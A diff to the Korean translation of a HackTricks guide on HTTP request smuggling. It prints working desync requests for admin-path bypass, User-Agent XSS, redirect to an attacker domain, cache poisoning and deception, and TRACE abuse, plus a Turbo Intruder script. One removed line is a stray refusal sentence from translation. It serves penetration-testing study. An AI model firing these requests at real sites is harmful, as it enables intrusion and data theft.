* 공격자는 청크 크기(`7b`)와 실제 콘텐츠 길이(`Content-Length: 4`)가 일치하지 않는 청크 요청을 보냅니다.
|
||||
* 프론트엔드 서버는 `Transfer-Encoding`을 존중하여 전체 요청을 백엔드로 전달합니다.
|
||||
* 백엔드 서버는 `Content-Length`를 존중하여 요청의 초기 부분(`7b` 바이트)만 처리하고 나머지는 의도하지 않은 후속 요청의 일부로 남깁니다.
|
||||
* **예제:**
|
||||
|
@ -123,13 +123,13 @@ x=
|
|||
|
||||
```
|
||||
|
||||
#### TE.TE 취약점 (둘 다 Transfer-Encoding을 사용하며, 난독화 포함)
|
||||
#### TE.TE 취약점 (둘 다 Transfer-Encoding을 사용하는 경우, 난독화 포함)
|
||||
|
||||
* **서버:** 둘 다 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 무시하도록 속일 수 있습니다.
|
||||
* **공격 시나리오:**
|
||||
* 공격자가 난독화된 `Transfer-Encoding` 헤더가 포함된 요청을 보냅니다.
|
||||
* 공격자는 난독화된 `Transfer-Encoding` 헤더가 있는 요청을 보냅니다.
|
||||
* 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하는지에 따라 CL.TE 또는 TE.CL 취약점이 악용될 수 있습니다.
|
||||
* 요청의 처리되지 않은 부분은 서버 중 하나에서 후속 요청의 일부가 되어 스머글링으로 이어집니다.
|
||||
* 요청의 처리되지 않은 부분은 한 서버에서 후속 요청의 일부가 되어 스머글링으로 이어집니다.
|
||||
* **예제:**
|
||||
|
||||
```
|
||||
|
@ -149,9 +149,9 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL 시나리오 (프론트엔드와 백엔드 모두 Content-Length 사용)**
|
||||
#### **CL.CL 시나리오 (프론트엔드와 백엔드 모두에서 사용되는 Content-Length)**
|
||||
|
||||
* 두 서버는 요청을 오로지 `Content-Length` 헤더만 기반으로 처리합니다.
|
||||
* 두 서버는 오직 `Content-Length` 헤더만을 기반으로 요청을 처리합니다.
|
||||
* 이 시나리오는 일반적으로 스머글링으로 이어지지 않으며, 두 서버가 요청 길이를 해석하는 방식이 일치합니다.
|
||||
* **예제:**
|
||||
|
||||
|
@ -221,7 +221,7 @@ For **more information about hop-by-hop headers** visit:
|
|||
|
||||
## Finding HTTP Request Smuggling
|
||||
|
||||
HTTP 요청 밀어내기 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 서버가 조작된 요청에 응답하는 데 걸리는 시간을 관찰함으로써 달성할 수 있습니다. 이러한 기법은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다:
|
||||
HTTP 요청 밀반입 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대한 서버의 응답 시간을 관찰하는 데 의존합니다. 이러한 기법은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾기 위해 사용할 수 있는 다른 전략과 도구가 있습니다:
|
||||
|
||||
### Finding CL.TE Vulnerabilities Using Timing Techniques
|
||||
|
||||
|
@ -241,11 +241,11 @@ A
|
|||
0
|
||||
```
|
||||
* **Observation:**
|
||||
* 프론트엔드 서버는 `Content-Length`를 기반으로 요청을 처리하고 메시지를 조기에 차단합니다.
|
||||
* 프론트엔드 서버는 `Content-Length`에 따라 요청을 처리하고 메시지를 조기에 차단합니다.
|
||||
* 백엔드 서버는 청크 메시지를 기대하며 도착하지 않는 다음 청크를 기다려 지연이 발생합니다.
|
||||
* **Indicators:**
|
||||
* 응답의 타임아웃 또는 긴 지연.
|
||||
* 때때로 상세한 서버 정보와 함께 백엔드 서버에서 400 Bad Request 오류를 수신합니다.
|
||||
* 백엔드 서버로부터 400 Bad Request 오류를 수신하며, 때때로 자세한 서버 정보가 포함됩니다.
|
||||
|
||||
### Finding TE.CL Vulnerabilities Using Timing Techniques
|
||||
|
||||
|
@ -264,13 +264,13 @@ Content-Length: 6
|
|||
X
|
||||
```
|
||||
* **Observation:**
|
||||
* 프론트엔드 서버는 `Transfer-Encoding`을 기반으로 요청을 처리하고 전체 메시지를 전달합니다.
|
||||
* 백엔드 서버는 `Content-Length`를 기반으로 메시지를 기대하며 도착하지 않는 추가 데이터를 기다려 지연이 발생합니다.
|
||||
* 프론트엔드 서버는 `Transfer-Encoding`에 따라 요청을 처리하고 전체 메시지를 전달합니다.
|
||||
* 백엔드 서버는 `Content-Length`에 따라 메시지를 기대하며 도착하지 않는 추가 데이터를 기다려 지연이 발생합니다.
|
||||
|
||||
### Other Methods to Find Vulnerabilities
|
||||
|
||||
* **Differential Response Analysis:**
|
||||
* 요청의 약간 변형된 버전을 전송하고 서버 응답이 예상치 못한 방식으로 다르게 나타나는지 관찰하여 구문 분석 불일치를 나타냅니다.
|
||||
* 요청의 약간 변형된 버전을 전송하고 서버 응답이 예상치 못한 방식으로 다르게 나타나는지 관찰하여 파싱 불일치를 나타냅니다.
|
||||
* **Using Automated Tools:**
|
||||
* Burp Suite의 'HTTP Request Smuggler' 확장과 같은 도구는 다양한 형태의 모호한 요청을 전송하고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
|
||||
* **Content-Length Variance Tests:**
|
||||
|
@ -284,10 +284,10 @@ X
|
|||
|
||||
**Key Considerations**
|
||||
|
||||
요청 밀어내기 취약점을 테스트할 때 다른 요청에 간섭할 때 유의해야 할 사항:
|
||||
요청 밀반입 취약점을 테스트할 때 다른 요청에 간섭할 때 유의해야 할 사항:
|
||||
|
||||
* **Distinct Network Connections:** "공격" 요청과 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다.
|
||||
* **Consistent URL and Parameters:** 두 요청 모두 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격의 전제 조건입니다.
|
||||
* **Consistent URL and Parameters:** 두 요청 모두 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격을 위한 전제 조건입니다.
|
||||
* **Timing and Racing Conditions:** "정상" 요청은 "공격" 요청의 간섭을 감지하기 위해 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청 직후에 "정상" 요청을 전송합니다. 바쁜 애플리케이션은 결론적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
|
||||
* **Load Balancing Challenges:** 로드 밸런서 역할을 하는 프론트엔드 서버는 요청을 다양한 백엔드 시스템에 분배할 수 있습니다. "공격" 요청과 "정상" 요청이 서로 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 로드 밸런싱 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
|
||||
* **Unintended User Impact:** 공격이 다른 사용자의 요청(탐지를 위해 보낸 "정상" 요청이 아님)에 의도치 않게 영향을 미친다면, 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 지속적인 테스트는 다른 사용자에게 방해가 될 수 있으므로 신중한 접근이 필요합니다.
|
||||
|
@ -296,9 +296,9 @@ X
|
|||
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 밀어내기를 이용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 대한 무단 접근이 가능합니다. 예를 들어, `/admin`에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 밀어낸 HTTP 요청 내에 포함된 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
|
||||
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 밀반입을 이용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 대한 무단 접근이 가능합니다. 예를 들어, `/admin`에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 밀반입된 HTTP 요청 내의 내장 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
|
||||
|
||||
다음 예제는 HTTP 요청 밀어내기를 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여줍니다. 특히 일반적으로 프론트엔드 프록시가 보호하는 `/admin` 경로를 목표로 합니다:
|
||||
다음 예제는 HTTP 요청 밀반입을 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여줍니다. 특히 일반적으로 프론트엔드 프록시가 보호하는 `/admin` 경로를 목표로 합니다:
|
||||
|
||||
**CL.TE Example**
|
||||
```
|
||||
|
@ -317,7 +317,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 사용되고, 이후의 임베디드 요청은 `Transfer-Encoding: chunked` 헤더를 활용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 임베디드 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다.
|
||||
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 사용되고, 이후에 포함된 요청은 `Transfer-Encoding: chunked` 헤더를 활용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 포함된 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다.
|
||||
|
||||
**TE.CL 예제**
|
||||
```
|
||||
|
@ -335,13 +335,13 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이후의 임베디드 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 `GET /admin` 요청을 간과하여, 의도치 않게 제한된 `/admin` 경로에 대한 접근을 허용합니다.
|
||||
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이후의 임베디드 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 `GET /admin` 요청을 간과하여, 제한된 `/admin` 경로에 대한 접근을 우연히 허용합니다.
|
||||
|
||||
### 프론트엔드 요청 재작성 공개 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### 프론트엔드 요청 재작성 드러내기 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 들어오는 요청을 수정한 후 백엔드 서버에 전달합니다. 일반적인 수정 사항은 클라이언트의 IP를 백엔드에 전달하기 위해 `X-Forwarded-For: <IP of the client>`와 같은 헤더를 추가하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 우회** 또는 **숨겨진 정보나 엔드포인트를 드러내는 방법**을 밝혀낼 수 있기 때문에 중요할 수 있습니다.
|
||||
|
||||
프록시가 요청을 어떻게 변경하는지 조사하기 위해, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
|
||||
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -403,7 +403,7 @@ HTTP Request Smuggling은 **Reflected XSS**에 취약한 웹 페이지를 악용
|
|||
* 대상 사용자와의 상호작용이 **필요하지 않습니다**.
|
||||
* HTTP 요청 헤더와 같이 **일반적으로 접근할 수 없는** 요청의 일부에서 XSS를 악용할 수 있습니다.
|
||||
|
||||
사용자 에이전트 헤더를 통해 웹사이트가 반사된 XSS에 취약한 경우, 다음 페이로드는 이 취약점을 악용하는 방법을 보여줍니다:
|
||||
웹사이트가 User-Agent 헤더를 통해 반사된 XSS에 취약한 경우, 다음 페이로드는 이 취약점을 악용하는 방법을 보여줍니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
|
@ -424,27 +424,27 @@ Content-Type: application/x-www-form-urlencoded
|
|||
|
||||
A=
|
||||
```
|
||||
이 페이로드는 취약점을 악용하기 위해 다음과 같이 구조화되었습니다:
|
||||
이 페이로드는 취약점을 악용하기 위해 다음과 같이 구성됩니다:
|
||||
|
||||
1. `Transfer-Encoding: chunked` 헤더를 사용하여 밀반입의 시작을 나타내는 일반적인 `POST` 요청을 시작합니다.
|
||||
2. 이어서 `0`을 추가하여 청크된 메시지 본문의 끝을 표시합니다.
|
||||
3. 그런 다음, `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트를 주입하여 서버가 이 후속 요청을 처리할 때 XSS를 트리거하는 밀반입된 `GET` 요청이 도입됩니다.
|
||||
1. `Transfer-Encoding: chunked` 헤더가 있는 일반적인 `POST` 요청을 시작하여 밀반입의 시작을 나타냅니다.
|
||||
2. 다음에 `0`이 오며, 이는 청크된 메시지 본문의 끝을 표시합니다.
|
||||
3. 그런 다음, `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트가 주입된 밀반입된 `GET` 요청이 도입되어, 서버가 이 후속 요청을 처리할 때 XSS가 트리거됩니다.
|
||||
|
||||
밀반입을 통해 `User-Agent`를 조작함으로써, 페이로드는 일반 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사된 XSS 취약점을 악용합니다.
|
||||
밀반입을 통해 `User-Agent`를 조작함으로써, 페이로드는 정상 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사된 XSS 취약점을 악용합니다.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
{% hint style="danger" %}
|
||||
사용자 콘텐츠가 **`Content-type`**이 **`text/plain`**인 응답에 반영되는 경우 XSS 실행을 방지합니다. 서버가 **HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다**!
|
||||
사용자 콘텐츠가 **`Content-type`**이 **`text/plain`**인 응답에 반영되는 경우, XSS 실행이 방지됩니다. 서버가 **HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다**!
|
||||
{% endhint %}
|
||||
|
||||
HTTP/0.9 버전은 1.0 이전의 버전으로, **GET** 동사만 사용하며 **헤더**로 응답하지 않고 본체만 응답합니다.
|
||||
|
||||
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 이용하여 HTTP/0.9로 요청을 밀반입하는 방식으로 악용되었습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로 응답은 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
|
||||
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 악용하여 HTTP/0.9로 요청을 밀반입했습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로, 응답은 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
|
||||
|
||||
### HTTP 요청 밀반입을 통한 사이트 내 리디렉션 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
응용 프로그램은 종종 리디렉션 URL의 `Host` 헤더에서 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 후행 슬래시 없이 폴더를 요청하면 슬래시를 포함하도록 리디렉션됩니다:
|
||||
응용 프로그램은 종종 리디렉션 URL의 `Host` 헤더에서 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 후행 슬래시가 없는 폴더를 요청하면 슬래시를 포함하도록 리디렉션됩니다:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
@ -484,9 +484,9 @@ Location: https://attacker-website.com/home/
|
|||
|
||||
### HTTP 요청 스머글링을 통한 웹 캐시 오염 활용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
웹 캐시 오염은 **프론트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**할 경우 실행될 수 있으며, 일반적으로 성능을 향상시키기 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다.
|
||||
웹 캐시 오염은 **프론트엔드 인프라의 콘텐츠를 캐시하는** 어떤 구성 요소라도 있을 경우 실행될 수 있으며, 일반적으로 성능 향상을 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다.
|
||||
|
||||
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [기본 예제](./#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 캐시에서 `/index.html`의 콘텐츠로 대체되어 사용자가 `/static/include.js`에 접근할 수 없게 되며, 이는 서비스 거부(DoS)로 이어질 수 있습니다.
|
||||
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [기본 예제](./#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 `/index.html`의 내용으로 캐시에서 대체되어 사용자가 `/static/include.js`에 접근할 수 없게 되며, 이는 서비스 거부(DoS)로 이어질 수 있습니다.
|
||||
|
||||
이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 사이트 내 리다이렉트**가 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 광범위한 교차 사이트 스크립팅(XSS) 공격을 가능하게 합니다.
|
||||
|
||||
|
@ -508,20 +508,20 @@ Content-Length: 10
|
|||
|
||||
x=1
|
||||
```
|
||||
내장된 요청이 `/post/next?postId=3`를 타겟으로 하고 있음을 주목하십시오. 이 요청은 **Host 헤더 값**을 사용하여 도메인을 결정하며 `/post?postId=4`로 리디렉션됩니다. **Host 헤더**를 변경함으로써 공격자는 요청을 자신의 도메인으로 리디렉션할 수 있습니다 (**온사이트 리디렉션에서 오픈 리디렉션**).
|
||||
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
|
||||
|
||||
성공적인 **소켓 오염** 후, `/static/include.js`에 대한 **GET 요청**이 시작되어야 합니다. 이 요청은 이전의 **온사이트 리디렉션에서 오픈 리디렉션** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져옵니다.
|
||||
After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
|
||||
|
||||
그 후, `/static/include.js`에 대한 모든 요청은 공격자의 스크립트의 캐시된 내용을 제공하여 광범위한 XSS 공격을 효과적으로 시작합니다.
|
||||
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
|
||||
|
||||
### HTTP 요청 밀반입을 사용하여 웹 캐시 기만 수행하기 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?**
|
||||
>
|
||||
> * **웹 캐시 오염**에서는 공격자가 애플리케이션이 악성 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
|
||||
> * **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
|
||||
> * **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하며, 이 콘텐츠는 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
|
||||
> * **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하며, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
|
||||
|
||||
공격자는 민감한 사용자 특정 콘텐츠를 가져오는 밀반입 요청을 작성합니다. 다음 예를 고려하십시오:
|
||||
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -532,17 +532,17 @@ x=1
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
이 스머글된 요청이 정적 콘텐츠(예: `/someimage.png`)를 위한 캐시 항목을 오염시키면, 피해자의 `/private/messages`의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다.
|
||||
이 스머글링된 요청이 정적 콘텐츠(예: `/someimage.png`)를 위한 캐시 항목을 오염시키면, 피해자의 `/private/messages`의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다.
|
||||
|
||||
### HTTP 요청 스머글링을 통한 TRACE 남용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**이 게시물에서**](https://portswigger.net/research/trace-desync-attack) 서버에 TRACE 메서드가 활성화되어 있다면 HTTP 요청 스머글링으로 이를 남용할 수 있다고 제안합니다. 이는 이 메서드가 서버에 전송된 모든 헤더를 응답 본문의 일부로 반영하기 때문입니다. 예를 들어:
|
||||
[**이 게시물에서**](https://portswigger.net/research/trace-desync-attack) 서버에 TRACE 메서드가 활성화되어 있다면 HTTP 요청 스머글링으로 이를 악용할 수 있다고 제안합니다. 이는 이 메서드가 응답 본문의 일부로 서버에 전송된 모든 헤더를 반영하기 때문입니다. 예를 들어:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
죄송합니다. 요청하신 내용을 처리할 수 없습니다.
|
||||
응답을 다음과 같이 보낼 것입니다:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
|
@ -559,7 +559,7 @@ HEAD 응답에는 `Content-Length` 헤더가 포함되므로, **TRACE 요청의
|
|||
|
||||
### HTTP 응답 분할을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**이 게시물**](https://portswigger.net/research/trace-desync-attack)를 계속 따라가는 것이 TRACE 메서드를 악용하는 또 다른 방법을 제안합니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 밀반입하면 HEAD 요청에 대한 응답에서 **일부 반영된 데이터를 제어할 수 있습니다**. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며, TRACE 요청에 대한 응답으로 형성됩니다.
|
||||
[**이 게시물**](https://portswigger.net/research/trace-desync-attack)을 계속 따라가는 것이 TRACE 메서드를 악용하는 또 다른 방법을 제안합니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 밀반입하면 HEAD 요청에 대한 응답에서 **일부 반영된 데이터를 제어할 수 있습니다**. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며, TRACE 요청에 대한 응답으로 형성됩니다.
|
||||
|
||||
따라서 새로운 아이디어는 이 Content-Length와 TRACE 응답에서 제공된 데이터를 알고 있을 때, TRACE 응답이 Content-Length의 마지막 바이트 이후에 유효한 HTTP 응답을 포함하도록 만들어 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 하는 것입니다 (이는 캐시 오염을 수행하는 데 사용될 수 있습니다).
|
||||
|
||||
|
@ -605,7 +605,7 @@ Content-Length: 50
|
|||
```
|
||||
### HTTP 요청 스머글링을 HTTP 응답 비동기화로 무기화하기
|
||||
|
||||
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할지 모르겠습니까? 다음의 다른 악용 방법을 시도해 보세요:
|
||||
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할지 모르겠다면, 다음의 다른 악용 방법을 시도해 보세요:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
|
@ -629,7 +629,7 @@ HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할
|
|||
|
||||
### CL.TE
|
||||
|
||||
[https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)에서 가져옴
|
||||
From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
||||
|
@ -735,7 +735,7 @@ table.add(req)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
|
|
@ -1,27 +1,28 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
